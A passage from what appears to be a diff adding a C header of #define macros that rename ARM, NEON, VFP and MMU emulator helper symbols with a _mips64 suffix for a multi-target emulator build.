gen_storeq_reg_mips64 +#define gen_sub_carry gen_sub_carry_mips64 +#define gen_sub_CC gen_sub_CC_mips64 +#define gen_subq_msw gen_subq_msw_mips64 +#define gen_swap_half gen_swap_half_mips64 +#define gen_thumb2_data_op gen_thumb2_data_op_mips64 +#define gen_thumb2_parallel_addsub gen_thumb2_parallel_addsub_mips64 +#define gen_ubfx gen_ubfx_mips64 +#define gen_vfp_abs gen_vfp_abs_mips64 +#define gen_vfp_add gen_vfp_add_mips64 +#define gen_vfp_cmp gen_vfp_cmp_mips64 +#define gen_vfp_cmpe gen_vfp_cmpe_mips64 +#define gen_vfp_div gen_vfp_div_mips64 +#define gen_vfp_F1_ld0 gen_vfp_F1_ld0_mips64 +#define gen_vfp_F1_mul gen_vfp_F1_mul_mips64 +#define gen_vfp_F1_neg gen_vfp_F1_neg_mips64 +#define gen_vfp_ld gen_vfp_ld_mips64 +#define gen_vfp_mrs gen_vfp_mrs_mips64 +#define gen_vfp_msr gen_vfp_msr_mips64 +#define gen_vfp_mul gen_vfp_mul_mips64 +#define gen_vfp_neg gen_vfp_neg_mips64 +#define gen_vfp_shto gen_vfp_shto_mips64 +#define gen_vfp_sito gen_vfp_sito_mips64 +#define gen_vfp_slto gen_vfp_slto_mips64 +#define gen_vfp_sqrt gen_vfp_sqrt_mips64 +#define gen_vfp_st gen_vfp_st_mips64 +#define gen_vfp_sub gen_vfp_sub_mips64 +#define gen_vfp_tosh gen_vfp_tosh_mips64 +#define gen_vfp_tosi gen_vfp_tosi_mips64 +#define gen_vfp_tosiz gen_vfp_tosiz_mips64 +#define gen_vfp_tosl gen_vfp_tosl_mips64 +#define gen_vfp_touh gen_vfp_touh_mips64 +#define gen_vfp_toui gen_vfp_toui_mips64 +#define gen_vfp_touiz gen_vfp_touiz_mips64 +#define gen_vfp_toul gen_vfp_toul_mips64 +#define gen_vfp_uhto gen_vfp_uhto_mips64 +#define gen_vfp_uito gen_vfp_uito_mips64 +#define gen_vfp_ulto gen_vfp_ulto_mips64 +#define get_arm_cp_reginfo get_arm_cp_reginfo_mips64 +#define get_clock get_clock_mips64 +#define get_clock_realtime get_clock_realtime_mips64 +#define get_constraint_priority get_constraint_priority_mips64 +#define get_float_exception_flags get_float_exception_flags_mips64 +#define get_float_rounding_mode get_float_rounding_mode_mips64 +#define get_fpstatus_ptr get_fpstatus_ptr_mips64 +#define get_level1_table_address get_level1_table_address_mips64 +#define get_mem_index get_mem_index_mips64 +#define get_next_param_value get_next_param_value_mips64 +#define get_opt_name get_opt_name_mips64 +#define get_opt_value get_opt_value_mips64 +#define get_page_addr_code get_page_addr_code_mips64 +#define get_param_value get_param_value_mips64 +#define get_phys_addr get_phys_addr_mips64 +#define get_phys_addr_lpae get_phys_addr_lpae_mips64 +#define get_phys_addr_mpu get_phys_addr_mpu_mips64 +#define get_phys_addr_v5 get_phys_addr_v5_mips64 +#define get_phys_addr_v6 get_phys_addr_v6_mips64 +#define get_system_memory get_system_memory_mips64 +#define get_ticks_per_sec get_ticks_per_sec_mips64 +#define g_list_insert_sorted_merged g_list_insert_sorted_merged_mips64 +#define _GLOBAL_OFFSET_TABLE_ _GLOBAL_OFFSET_TABLE__mips64 +#define gt_cntfrq_access gt_cntfrq_access_mips64 +#define gt_cnt_read gt_cnt_read_mips64 +#define gt_cnt_reset gt_cnt_reset_mips64 +#define gt_counter_access gt_counter_access_mips64 +#define gt_ctl_write gt_ctl_write_mips64 +#define gt_cval_write gt_cval_write_mips64 +#define gt_get_countervalue gt_get_countervalue_mips64 +#define gt_pct_access gt_pct_access_mips64 +#define gt_ptimer_access gt_ptimer_access_mips64 +#define gt_recalc_timer gt_recalc_timer_mips64 +#define gt_timer_access gt_timer_access_mips64 +#define gt_tval_read gt_tval_read_mips64 +#define gt_tval_write gt_tval_write_mips64 +#define gt_vct_access gt_vct_access_mips64 +#define gt_vtimer_access gt_vtimer_access_mips64 +#define guest_phys_blocks_free guest_phys_blocks_free_mips64 +#define guest_phys_blocks_init guest_phys_blocks_init_mips64 +#define handle_vcvt handle_vcvt_mips64 +#define handle_vminmaxnm handle_vminmaxnm_mips64 +#define handle_vrint handle_vrint_mips64 +#define handle_vsel handle_vsel_mips64 +#define has_help_option has_help_option_mips64 +#define have_bmi1 have_bmi1_mips64 +#define have_bmi2 have_bmi2_mips64 +#define hcr_write hcr_write_mips64 +#define helper_access_check_cp_reg helper_access_check_cp_reg_mips64 +#define helper_add_saturate helper_add_saturate_mips64 +#define helper_add_setq helper_add_setq_mips64 +#define helper_add_usaturate helper_add_usaturate_mips64 +#define helper_be_ldl_cmmu helper_be_ldl_cmmu_mips64 +#define helper_be_ldq_cmmu helper_be_ldq_cmmu_mips64 +#define helper_be_ldq_mmu helper_be_ldq_mmu_mips64 +#define helper_be_ldsl_mmu helper_be_ldsl_mmu_mips64 +#define helper_be_ldsw_mmu helper_be_ldsw_mmu_mips64 +#define helper_be_ldul_mmu helper_be_ldul_mmu_mips64 +#define helper_be_lduw_mmu helper_be_lduw_mmu_mips64 +#define helper_be_ldw_cmmu helper_be_ldw_cmmu_mips64 +#define helper_be_stl_mmu helper_be_stl_mmu_mips64 +#define helper_be_stq_mmu helper_be_stq_mmu_mips64 +#define helper_be_stw_mmu helper_be_stw_mmu_mips64 +#define helper_clear_pstate_ss helper_clear_pstate_ss_mips64 +#define helper_clz_arm helper_clz_arm_mips64 +#define helper_cpsr_read helper_cpsr_read_mips64 +#define helper_cpsr_write helper_cpsr_write_mips64 +#define helper_crc32_arm helper_crc32_arm_mips64 +#define helper_crc32c helper_crc32c_mips64 +#define helper_crypto_aese helper_crypto_aese_mips64 +#define helper_crypto_aesmc helper_crypto_aesmc_mips64 +#define helper_crypto_sha1_3reg helper_crypto_sha1_3reg_mips64 +#define helper_crypto_sha1h helper_crypto_sha1h_mips64 +#define helper_crypto_sha1su1 helper_crypto_sha1su1_mips64 +#define helper_crypto_sha256h helper_crypto_sha256h_mips64 +#define helper_crypto_sha256h2 helper_crypto_sha256h2_mips64 +#define helper_crypto_sha256su0 helper_crypto_sha256su0_mips64 +#define helper_crypto_sha256su1 helper_crypto_sha256su1_mips64 +#define helper_dc_zva helper_dc_zva_mips64 +#define helper_double_saturate helper_double_saturate_mips64 +#define helper_exception_internal helper_exception_internal_mips64 +#define helper_exception_return helper_exception_return_mips64 +#define helper_exception_with_syndrome helper_exception_with_syndrome_mips64 +#define helper_get_cp_reg helper_get_cp_reg_mips64 +#define helper_get_cp_reg64 helper_get_cp_reg64_mips64 +#define helper_get_r13_banked helper_get_r13_banked_mips64 +#define helper_get_user_reg helper_get_user_reg_mips64 +#define helper_iwmmxt_addcb helper_iwmmxt_addcb_mips64 +#define helper_iwmmxt_addcl helper_iwmmxt_addcl_mips64 +#define helper_iwmmxt_addcw helper_iwmmxt_addcw_mips64 +#define helper_iwmmxt_addnb helper_iwmmxt_addnb_mips64 +#define helper_iwmmxt_addnl helper_iwmmxt_addnl_mips64 +#define helper_iwmmxt_addnw helper_iwmmxt_addnw_mips64 +#define helper_iwmmxt_addsb helper_iwmmxt_addsb_mips64 +#define helper_iwmmxt_addsl helper_iwmmxt_addsl_mips64 +#define helper_iwmmxt_addsw helper_iwmmxt_addsw_mips64 +#define helper_iwmmxt_addub helper_iwmmxt_addub_mips64 +#define helper_iwmmxt_addul helper_iwmmxt_addul_mips64 +#define helper_iwmmxt_adduw helper_iwmmxt_adduw_mips64 +#define helper_iwmmxt_align helper_iwmmxt_align_mips64 +#define helper_iwmmxt_avgb0 helper_iwmmxt_avgb0_mips64 +#define helper_iwmmxt_avgb1 helper_iwmmxt_avgb1_mips64 +#define helper_iwmmxt_avgw0 helper_iwmmxt_avgw0_mips64 +#define helper_iwmmxt_avgw1 helper_iwmmxt_avgw1_mips64 +#define helper_iwmmxt_bcstb helper_iwmmxt_bcstb_mips64 +#define helper_iwmmxt_bcstl helper_iwmmxt_bcstl_mips64 +#define helper_iwmmxt_bcstw helper_iwmmxt_bcstw_mips64 +#define helper_iwmmxt_cmpeqb helper_iwmmxt_cmpeqb_mips64 +#define helper_iwmmxt_cmpeql helper_iwmmxt_cmpeql_mips64 +#define helper_iwmmxt_cmpeqw helper_iwmmxt_cmpeqw_mips64 +#define helper_iwmmxt_cmpgtsb helper_iwmmxt_cmpgtsb_mips64 +#define helper_iwmmxt_cmpgtsl helper_iwmmxt_cmpgtsl_mips64 +#define helper_iwmmxt_cmpgtsw helper_iwmmxt_cmpgtsw_mips64 +#define helper_iwmmxt_cmpgtub helper_iwmmxt_cmpgtub_mips64 +#define helper_iwmmxt_cmpgtul helper_iwmmxt_cmpgtul_mips64 +#define helper_iwmmxt_cmpgtuw helper_iwmmxt_cmpgtuw_mips64 +#define helper_iwmmxt_insr helper_iwmmxt_insr_mips64 +#define helper_iwmmxt_macsw helper_iwmmxt_macsw_mips64 +#define helper_iwmmxt_macuw helper_iwmmxt_macuw_mips64 +#define helper_iwmmxt_maddsq helper_iwmmxt_maddsq_mips64 +#define helper_iwmmxt_madduq helper_iwmmxt_madduq_mips64 +#define helper_iwmmxt_maxsb helper_iwmmxt_maxsb_mips64 +#define helper_iwmmxt_maxsl helper_iwmmxt_maxsl_mips64 +#define helper_iwmmxt_maxsw helper_iwmmxt_maxsw_mips64 +#define helper_iwmmxt_maxub helper_iwmmxt_maxub_mips64 +#define helper_iwmmxt_maxul helper_iwmmxt_maxul_mips64 +#define helper_iwmmxt_maxuw helper_iwmmxt_maxuw_mips64 +#define helper_iwmmxt_minsb helper_iwmmxt_minsb_mips64 +#define helper_iwmmxt_minsl helper_iwmmxt_minsl_mips64 +#define helper_iwmmxt_minsw helper_iwmmxt_minsw_mips64 +#define helper_iwmmxt_minub helper_iwmmxt_minub_mips64 +#define helper_iwmmxt_minul helper_iwmmxt_minul_mips64 +#define helper_iwmmxt_minuw helper_iwmmxt_minuw_mips64 +#define helper_iwmmxt_msbb helper_iwmmxt_msbb_mips64 +#define helper_iwmmxt_msbl helper_iwmmxt_msbl_mips64 +#define helper_iwmmxt_msbw helper_iwmmxt_msbw_mips64 +#define helper_iwmmxt_muladdsl helper_iwmmxt_muladdsl_mips64 +#define helper_iwmmxt_muladdsw helper_iwmmxt_muladdsw_mips64 +#define helper_iwmmxt_muladdswl helper_iwmmxt_muladdswl_mips64 +#define helper_iwmmxt_mulshw helper_iwmmxt_mulshw_mips64 +#define helper_iwmmxt_mulslw helper_iwmmxt_mulslw_mips64 +#define helper_iwmmxt_muluhw helper_iwmmxt_muluhw_mips64 +#define helper_iwmmxt_mululw helper_iwmmxt_mululw_mips64 +#define helper_iwmmxt_packsl helper_iwmmxt_packsl_mips64 +#define helper_iwmmxt_packsq helper_iwmmxt_packsq_mips64 +#define helper_iwmmxt_packsw helper_iwmmxt_packsw_mips64 +#define helper_iwmmxt_packul helper_iwmmxt_packul_mips64 +#define helper_iwmmxt_packuq helper_iwmmxt_packuq_mips64 +#define helper_iwmmxt_packuw helper_iwmmxt_packuw_mips64 +#define helper_iwmmxt_rorl helper_iwmmxt_rorl_mips64 +#define helper_iwmmxt_rorq helper_iwmmxt_rorq_mips64 +#define helper_iwmmxt_rorw helper_iwmmxt_rorw_mips64 +#define helper_iwmmxt_sadb helper_iwmmxt_sadb_mips64 +#define helper_iwmmxt_sadw helper_iwmmxt_sadw_mips64 +#define helper_iwmmxt_setpsr_nz helper_iwmmxt_setpsr_nz_mips64 +#define helper_iwmmxt_shufh helper_iwmmxt_shufh_mips64 +#define helper_iwmmxt_slll helper_iwmmxt_slll_mips64 +#define helper_iwmmxt_sllq helper_iwmmxt_sllq_mips64 +#define helper_iwmmxt_sllw helper_iwmmxt_sllw_mips64 +#define helper_iwmmxt_sral helper_iwmmxt_sral_mips64 +#define helper_iwmmxt_sraq helper_iwmmxt_sraq_mips64 +#define helper_iwmmxt_sraw helper_iwmmxt_sraw_mips64 +#define helper_iwmmxt_srll helper_iwmmxt_srll_mips64 +#define helper_iwmmxt_srlq helper_iwmmxt_srlq_mips64 +#define helper_iwmmxt_srlw helper_iwmmxt_srlw_mips64 +#define helper_iwmmxt_subnb helper_iwmmxt_subnb_mips64 +#define helper_iwmmxt_subnl helper_iwmmxt_subnl_mips64 +#define helper_iwmmxt_subnw helper_iwmmxt_subnw_mips64 +#define helper_iwmmxt_subsb helper_iwmmxt_subsb_mips64 +#define helper_iwmmxt_subsl helper_iwmmxt_subsl_mips64 +#define helper_iwmmxt_subsw helper_iwmmxt_subsw_mips64 +#define helper_iwmmxt_subub helper_iwmmxt_subub_mips64 +#define helper_iwmmxt_subul helper_iwmmxt_subul_mips64 +#define helper_iwmmxt_subuw helper_iwmmxt_subuw_mips64 +#define helper_iwmmxt_unpackhb helper_iwmmxt_unpackhb_mips64 +#define helper_iwmmxt_unpackhl helper_iwmmxt_unpackhl_mips64 +#define helper_iwmmxt_unpackhsb helper_iwmmxt_unpackhsb_mips64 +#define helper_iwmmxt_unpackhsl helper_iwmmxt_unpackhsl_mips64 +#define helper_iwmmxt_unpackhsw helper_iwmmxt_unpackhsw_mips64 +#define helper_iwmmxt_unpackhub helper_iwmmxt_unpackhub_mips64 +#define helper_iwmmxt_unpackhul helper_iwmmxt_unpackhul_mips64 +#define helper_iwmmxt_unpackhuw helper_iwmmxt_unpackhuw_mips64 +#define helper_iwmmxt_unpackhw helper_iwmmxt_unpackhw_mips64 +#define helper_iwmmxt_unpacklb helper_iwmmxt_unpacklb_mips64 +#define helper_iwmmxt_unpackll helper_iwmmxt_unpackll_mips64 +#define helper_iwmmxt_unpacklsb helper_iwmmxt_unpacklsb_mips64 +#define helper_iwmmxt_unpacklsl helper_iwmmxt_unpacklsl_mips64 +#define helper_iwmmxt_unpacklsw helper_iwmmxt_unpacklsw_mips64 +#define helper_iwmmxt_unpacklub helper_iwmmxt_unpacklub_mips64 +#define helper_iwmmxt_unpacklul helper_iwmmxt_unpacklul_mips64 +#define helper_iwmmxt_unpackluw helper_iwmmxt_unpackluw_mips64 +#define helper_iwmmxt_unpacklw helper_iwmmxt_unpacklw_mips64 +#define helper_ldb_cmmu helper_ldb_cmmu_mips64 +#define helper_ldb_mmu helper_ldb_mmu_mips64 +#define helper_ldl_cmmu helper_ldl_cmmu_mips64 +#define helper_ldl_mmu helper_ldl_mmu_mips64 +#define helper_ldq_cmmu helper_ldq_cmmu_mips64 +#define helper_ldq_mmu helper_ldq_mmu_mips64 +#define helper_ldw_cmmu helper_ldw_cmmu_mips64 +#define helper_ldw_mmu helper_ldw_mmu_mips64 +#define helper_le_ldl_cmmu helper_le_ldl_cmmu_mips64 +#define helper_le_ldq_cmmu helper_le_ldq_cmmu_mips64 +#define helper_le_ldq_mmu helper_le_ldq_mmu_mips64 +#define helper_le_ldsl_mmu helper_le_ldsl_mmu_mips64 +#define helper_le_ldsw_mmu helper_le_ldsw_mmu_mips64 +#define helper_le_ldul_mmu helper_le_ldul_mmu_mips64 +#define helper_le_lduw_mmu helper_le_lduw_mmu_mips64 +#define helper_le_ldw_cmmu helper_le_ldw_cmmu_mips64 +#define helper_le_stl_mmu helper_le_stl_mmu_mips64 +#define helper_le_stq_mmu helper_le_stq_mmu_mips64 +#define helper_le_stw_mmu helper_le_stw_mmu_mips64 +#define helper_msr_i_pstate helper_msr_i_pstate_mips64 +#define helper_neon_abd_f32 helper_neon_abd_f32_mips64 +#define helper_neon_abdl_s16 helper_neon_abdl_s16_mips64 +#define helper_neon_abdl_s32 helper_neon_abdl_s32_mips64 +#define helper_neon_abdl_s64 helper_neon_abdl_s64_mips64 +#define helper_neon_abdl_u16 helper_neon_abdl_u16_mips64 +#define helper_neon_abdl_u32 helper_neon_abdl_u32_mips64 +#define helper_neon_abdl_u64 helper_neon_abdl_u64_mips64 +#define helper_neon_abd_s16 helper_neon_abd_s16_mips64 +#define helper_neon_abd_s32 helper_neon_abd_s32_mips64 +#define helper_neon_abd_s8 helper_neon_abd_s8_mips64 +#define helper_neon_abd_u16 helper_neon_abd_u16_mips64 +#define helper_neon_abd_u32 helper_neon_abd_u32_mips64 +#define helper_neon_abd_u8 helper_neon_abd_u8_mips64 +#define helper_neon_abs_s16 helper_neon_abs_s16_mips64 +#define helper_neon_abs_s8 helper_neon_abs_s8_mips64 +#define helper_neon_acge_f32 helper_neon_acge_f32_mips64 +#define helper_neon_acge_f64 helper_neon_acge_f64_mips64 +#define helper_neon_acgt_f32 helper_neon_acgt_f32_mips64 +#define helper_neon_acgt_f64 helper_neon_acgt_f64_mips64 +#define helper_neon_addl_saturate_s32 helper_neon_addl_saturate_s32_mips64 +#define helper_neon_addl_saturate_s64 helper_neon_addl_saturate_s64_mips64 +#define helper_neon_addl_u16 helper_neon_addl_u16_mips64 +#define helper_neon_addl_u32 helper_neon_addl_u32_mips64 +#define helper_neon_add_u16 helper_neon_add_u16_mips64 +#define helper_neon_add_u8 helper_neon_add_u8_mips64 +#define helper_neon_ceq_f32 helper_neon_ceq_f32_mips64 +#define helper_neon_ceq_u16 helper_neon_ceq_u16_mips64 +#define helper_neon_ceq_u32 helper_neon_ceq_u32_mips64 +#define helper_neon_ceq_u8 helper_neon_ceq_u8_mips64 +#define helper_neon_cge_f32 helper_neon_cge_f32_mips64 +#define helper_neon_cge_s16 helper_neon_cge_s16_mips64 +#define helper_neon_cge_s32 helper_neon_cge_s32_mips64 +#define helper_neon_cge_s8 helper_neon_cge_s8_mips64 +#define helper_neon_cge_u16 helper_neon_cge_u16_mips64 +#define helper_neon_cge_u32 helper_neon_cge_u32_mips64 +#define helper_neon_cge_u8 helper_neon_cge_u8_mips64 +#define helper_neon_cgt_f32 helper_neon_cgt_f32_mips64 +#define helper_neon_cgt_s16 helper_neon_cgt_s16_mips64 +#define helper_neon_cgt_s32 helper_neon_cgt_s32_mips64 +#define helper_neon_cgt_s8 helper_neon_cgt_s8_mips64 +#define helper_neon_cgt_u16 helper_neon_cgt_u16_mips64 +#define helper_neon_cgt_u32 helper_neon_cgt_u32_mips64 +#define helper_neon_cgt_u8 helper_neon_cgt_u8_mips64 +#define helper_neon_cls_s16 helper_neon_cls_s16_mips64 +#define helper_neon_cls_s32 helper_neon_cls_s32_mips64 +#define helper_neon_cls_s8 helper_neon_cls_s8_mips64 +#define helper_neon_clz_u16 helper_neon_clz_u16_mips64 +#define helper_neon_clz_u8 helper_neon_clz_u8_mips64 +#define helper_neon_cnt_u8 helper_neon_cnt_u8_mips64 +#define helper_neon_fcvt_f16_to_f32 helper_neon_fcvt_f16_to_f32_mips64 +#define helper_neon_fcvt_f32_to_f16 helper_neon_fcvt_f32_to_f16_mips64 +#define helper_neon_hadd_s16 helper_neon_hadd_s16_mips64 +#define helper_neon_hadd_s32 helper_neon_hadd_s32_mips64 +#define helper_neon_hadd_s8 helper_neon_hadd_s8_mips64 +#define helper_neon_hadd_u16 helper_neon_hadd_u16_mips64 +#define helper_neon_hadd_u32 helper_neon_hadd_u32_mips64 +#define helper_neon_hadd_u8 helper_neon_hadd_u8_mips64 +#define helper_neon_hsub_s16 helper_neon_hsub_s16_mips64 +#define helper_neon_hsub_s32 helper_neon_hsub_s32_mips64 +#define helper_neon_hsub_s8 helper_neon_hsub_s8_mips64 +#define helper_neon_hsub_u16 helper_neon_hsub_u16_mips64 +#define helper_neon_hsub_u32 helper_neon_hsub_u32_mips64 +#define helper_neon_hsub_u8 helper_neon_hsub_u8_mips64 +#define helper_neon_max_s16 helper_neon_max_s16_mips64 +#define helper_neon_max_s32 helper_neon_max_s32_mips64 +#define helper_neon_max_s8 helper_neon_max_s8_mips64 +#define helper_neon_max_u16 helper_neon_max_u16_mips64 +#define helper_neon_max_u32 helper_neon_max_u32_mips64 +#define helper_neon_max_u8 helper_neon_max_u8_mips64 +#define helper_neon_min_s16 helper_neon_min_s16_mips64 +#define helper_neon_min_s32 helper_neon_min_s32_mips64 +#define helper_neon_min_s8 helper_neon_min_s8_mips64 +#define helper_neon_min_u16 helper_neon_min_u16_mips64 +#define helper_neon_min_u32 helper_neon_min_u32_mips64 +#define helper_neon_min_u8 helper_neon_min_u8_mips64 +#define helper_neon_mull_p8 helper_neon_mull_p8_mips64 +#define helper_neon_mull_s16 helper_neon_mull_s16_mips64 +#define helper_neon_mull_s8 helper_neon_mull_s8_mips64 +#define helper_neon_mull_u16 helper_neon_mull_u16_mips64 +#define helper_neon_mull_u8 helper_neon_mull_u8_mips64 +#define helper_neon_mul_p8 helper_neon_mul_p8_mips64 +#define helper_neon_mul_u16 helper_neon_mul_u16_mips64 +#define helper_neon_mul_u8 helper_neon_mul_u8_mips64 +#define helper_neon_narrow_high_u16 helper_neon_narrow_high_u16_mips64 +#define helper_neon_narrow_high_u8 helper_neon_narrow_high_u8_mips64 +#define helper_neon_narrow_round_high_u16 helper_neon_narrow_round_high_u16_mips64 +#define helper_neon_narrow_round_high_u8 helper_neon_narrow_round_high_u8_mips64 +#define helper_neon_narrow_sat_s16 helper_neon_narrow_sat_s16_mips64 +#define helper_neon_narrow_sat_s32 helper_neon_narrow_sat_s32_mips64 +#define helper_neon_narrow_sat_s8 helper_neon_narrow_sat_s8_mips64 +#define helper_neon_narrow_sat_u16 helper_neon_narrow_sat_u16_mips64 +#define helper_neon_narrow_sat_u32 helper_neon_narrow_sat_u32_mips64 +#define helper_neon_narrow_sat_u8 helper_neon_narrow_sat_u8_mips64 +#define helper_neon_narrow_u16 helper_neon_narrow_u16_mips64 +#define helper_neon_narrow_u8 helper_neon_narrow_u8_mips64 +#define helper_neon_negl_u16 helper_neon_negl_u16_mips64 +#define helper_neon_negl_u32 helper_neon_negl_u32_mips64 +#define helper_neon_paddl_u16 helper_neon_paddl_u16_mips64 +#define helper_neon_paddl_u32 helper_neon_paddl_u32_mips64 +#define helper_neon_padd_u16 helper_neon_padd_u16_mips64 +#define helper_neon_padd_u8 helper_neon_padd_u8_mips64 +#define helper_neon_pmax_s16 helper_neon_pmax_s16_mips64 +#define helper_neon_pmax_s8 helper_neon_pmax_s8_mips64 +#define helper_neon_pmax_u16 helper_neon_pmax_u16_mips64 +#define helper_neon_pmax_u8 helper_neon_pmax_u8_mips64 +#define helper_neon_pmin_s16 helper_neon_pmin_s16_mips64 +#define helper_neon_pmin_s8 helper_neon_pmin_s8_mips64 +#define helper_neon_pmin_u16 helper_neon_pmin_u16_mips64 +#define helper_neon_pmin_u8 helper_neon_pmin_u8_mips64 +#define helper_neon_pmull_64_hi helper_neon_pmull_64_hi_mips64 +#define helper_neon_pmull_64_lo helper_neon_pmull_64_lo_mips64 +#define helper_neon_qabs_s16 helper_neon_qabs_s16_mips64 +#define helper_neon_qabs_s32 helper_neon_qabs_s32_mips64 +#define helper_neon_qabs_s64 helper_neon_qabs_s64_mips64 +#define helper_neon_qabs_s8 helper_neon_qabs_s8_mips64 +#define helper_neon_qadd_s16 helper_neon_qadd_s16_mips64 +#define helper_neon_qadd_s32 helper_neon_qadd_s32_mips64 +#define helper_neon_qadd_s64 helper_neon_qadd_s64_mips64 +#define helper_neon_qadd_s8 helper_neon_qadd_s8_mips64 +#define helper_neon_qadd_u16 helper_neon_qadd_u16_mips64 +#define helper_neon_qadd_u32 helper_neon_qadd_u32_mips64 +#define helper_neon_qadd_u64 helper_neon_qadd_u64_mips64 +#define helper_neon_qadd_u8 helper_neon_qadd_u8_mips64 +#define helper_neon_qdmulh_s16 helper_neon_qdmulh_s16_mips64 +#define helper_neon_qdmulh_s32 helper_neon_qdmulh_s32_mips64 +#define helper_neon_qneg_s16 helper_neon_qneg_s16_mips64 +#define helper_neon_qneg_s32 helper_neon_qneg_s32_mips64 +#define helper_neon_qneg_s64 helper_neon_qneg_s64_mips64 +#define helper_neon_qneg_s8 helper_neon_qneg_s8_mips64 +#define helper_neon_qrdmulh_s16 helper_neon_qrdmulh_s16_mips64 +#define helper_neon_qrdmulh_s32 helper_neon_qrdmulh_s32_mips64 +#define helper_neon_qrshl_s16 helper_neon_qrshl_s16_mips64 +#define helper_neon_qrshl_s32 helper_neon_qrshl_s32_mips64 +#define helper_neon_qrshl_s64 helper_neon_qrshl_s64_mips64 +#define helper_neon_qrshl_s8 helper_neon_qrshl_s8_mips64 +#define helper_neon_qrshl_u16 helper_neon_qrshl_u16_mips64 +#define helper_neon_qrshl_u32 helper_neon_qrshl_u32_mips64 +#define helper_neon_qrshl_u64 helper_neon_qrshl_u64_mips64 +#define helper_neon_qrshl_u8 helper_neon_qrshl_u8_mips64 +#define helper_neon_qshl_s16 helper_neon_qshl_s16_mips64 +#define helper_neon_qshl_s32 helper_neon_qshl_s32_mips64 +#define helper_neon_qshl_s64 helper_neon_qshl_s64_mips64 +#define helper_neon_qshl_s8 helper_neon_qshl_s8_mips64 +#define helper_neon_qshl_u16 helper_neon_qshl_u16_mips64 +#define helper_neon_qshl_u32 helper_neon_qshl_u32_mips64 +#define helper_neon_qshl_u64 helper_neon_qshl_u64_mips64 +#define helper_neon_qshl_u8 helper_neon_qshl_u8_mips64 +#define helper_neon_qshlu_s16 helper_neon_qshlu_s16_mips64 +#define helper_neon_qshlu_s32 helper_neon_qshlu_s32_mips64 +#define helper_neon_qshlu_s64 helper_neon_qshlu_s64_mips64 +#define helper_neon_qshlu_s8 helper_neon_qshlu_s8_mips64 +#define helper_neon_qsub_s16 helper_neon_qsub_s16_mips64 +#define helper_neon_qsub_s32 helper_neon_qsub_s32_mips64 +#define helper_neon_qsub_s64 helper_neon_qsub_s64_mips64 +#define helper_neon_qsub_s8 helper_neon_qsub_s8_mips64 +#define helper_neon_qsub_u16 helper_neon_qsub_u16_mips64 +#define helper_neon_qsub_u32 helper_neon_qsub_u32_mips64 +#define helper_neon_qsub_u64 helper_neon_qsub_u64_mips64 +#define helper_neon_qsub_u8 helper_neon_qsub_u8_mips64 +#define helper_neon_qunzip16 helper_neon_qunzip16_mips64 +#define helper_neon_qunzip32 helper_neon_qunzip32_mips64 +#define helper_neon_qunzip8 helper_neon_qunzip8_mips64 +#define helper_neon_qzip16 helper_neon_qzip16_mips64 +#define helper_neon_qzip32 helper_neon_qzip32_mips64 +#define helper_neon_qzip8 helper_neon_qzip8_mips64 +#define helper_neon_rbit_u8 helper_neon_rbit_u8_mips64 +#define helper_neon_rhadd_s16 helper_neon_rhadd_s16_mips64 +#define helper_neon_rhadd_s32 helper_neon_rhadd_s32_mips64 +#define helper_neon_rhadd_s8 helper_neon_rhadd_s8_mips64 +#define helper_neon_rhadd_u16 helper_neon_rhadd_u16_mips64 +#define helper_neon_rhadd_u32 helper_neon_rhadd_u32_mips64 +#define helper_neon_rhadd_u8 helper_neon_rhadd_u8_mips64 +#define helper_neon_rshl_s16 helper_neon_rshl_s16_mips64 +#define helper_neon_rshl_s32 helper_neon_rshl_s32_mips64 +#define helper_neon_rshl_s64 helper_neon_rshl_s64_mips64 +#define helper_neon_rshl_s8 helper_neon_rshl_s8_mips64 +#define helper_neon_rshl_u16 helper_neon_rshl_u16_mips64 +#define helper_neon_rshl_u32 helper_neon_rshl_u32_mips64 +#define helper_neon_rshl_u64 helper_neon_rshl_u64_mips64 +#define helper_neon_rshl_u8 helper_neon_rshl_u8_mips64 +#define helper_neon_shl_s16 helper_neon_shl_s16_mips64 +#define helper_neon_shl_s32 helper_neon_shl_s32_mips64 +#define helper_neon_shl_s64 helper_neon_shl_s64_mips64 +#define helper_neon_shl_s8 helper_neon_shl_s8_mips64 +#define helper_neon_shl_u16 helper_neon_shl_u16_mips64 +#define helper_neon_shl_u32 helper_neon_shl_u32_mips64 +#define helper_neon_shl_u64 helper_neon_shl_u64_mips64 +#define helper_neon_shl_u8 helper_neon_shl_u8_mips64 +#define helper_neon_sqadd_u16 helper_neon_sqadd_u16_mips64 +#define helper_neon_sqadd_u32 helper_neon_sqadd_u32_mips64 +#define helper_neon_sqadd_u64 helper_neon_sqadd_u64_mips64 +#define helper_neon_sqadd_u8 helper_neon_sqadd_u8_mips64 +#define helper_neon_subl_u16 helper_neon_subl_u16_mips64 +#define helper_neon_subl_u32 helper_neon_subl_u32_mips64 +#define helper_neon_sub_u16 helper_neon_sub_u16_mips64 +#define helper_neon_sub_u8 helper_neon_sub_u8_mips64 +#define helper_neon_tbl helper_neon_tbl_mips64 +#define helper_neon_tst_u16 helper_neon_tst_u16_mips64 +#define helper_neon_tst_u32 helper_neon_tst_u32_mips64 +#define helper_neon_tst_u8 helper_neon_tst_u8_mips64 +#define helper_neon_unarrow_sat16 helper_neon_unarrow_sat16_mips64 +#define helper_neon_unarrow_sat32 helper_neon_unarrow_sat32_mips64 +#define helper_neon_unarrow_sat8 helper_neon_unarrow_sat8_mips64 +#define helper_neon_unzip16 helper_neon_unzip16_mips64 +#define helper_neon_unzip8 helper_neon_unzip8_mips64 +#define helper_neon_uqadd_s16 helper_neon_uqadd_s16_mips64 +#define helper_neon_uqadd_s32 helper_neon_uqadd_s32_mips64 +#define helper_neon_uqadd_s64 helper_neon_uqadd_s64_mips64 +#define helper_neon_uqadd_s8 helper_neon_uqadd_s8_mips64 +#define helper_neon_widen_s16 helper_neon_widen_s16_mips64 +#define helper_neon_widen_s8 helper_neon_widen_s8_mips64 +#define helper_neon_widen_u16 helper_neon_widen_u16_mips64 +#define helper_neon_widen_u8 helper_neon_widen_u8_mips64 +#define helper_neon_zip16 helper_neon_zip16_mips64 +#define helper_neon_zip8 helper_neon_zip8_mips64 +#define helper_pre_hvc helper_pre_hvc_mips64 +#define helper_pre_smc helper_pre_smc_mips64 +#define helper_qadd16 helper_qadd16_mips64 +#define helper_qadd8 helper_qadd8_mips64 +#define helper_qaddsubx helper_qaddsubx_mips64 +#define helper_qsub16 helper_qsub16_mips64 +#define helper_qsub8 helper_qsub8_mips64 +#define helper_qsubaddx helper_qsubaddx_mips64 +#define helper_rbit helper_rbit_mips64 +#define helper_recpe_f32 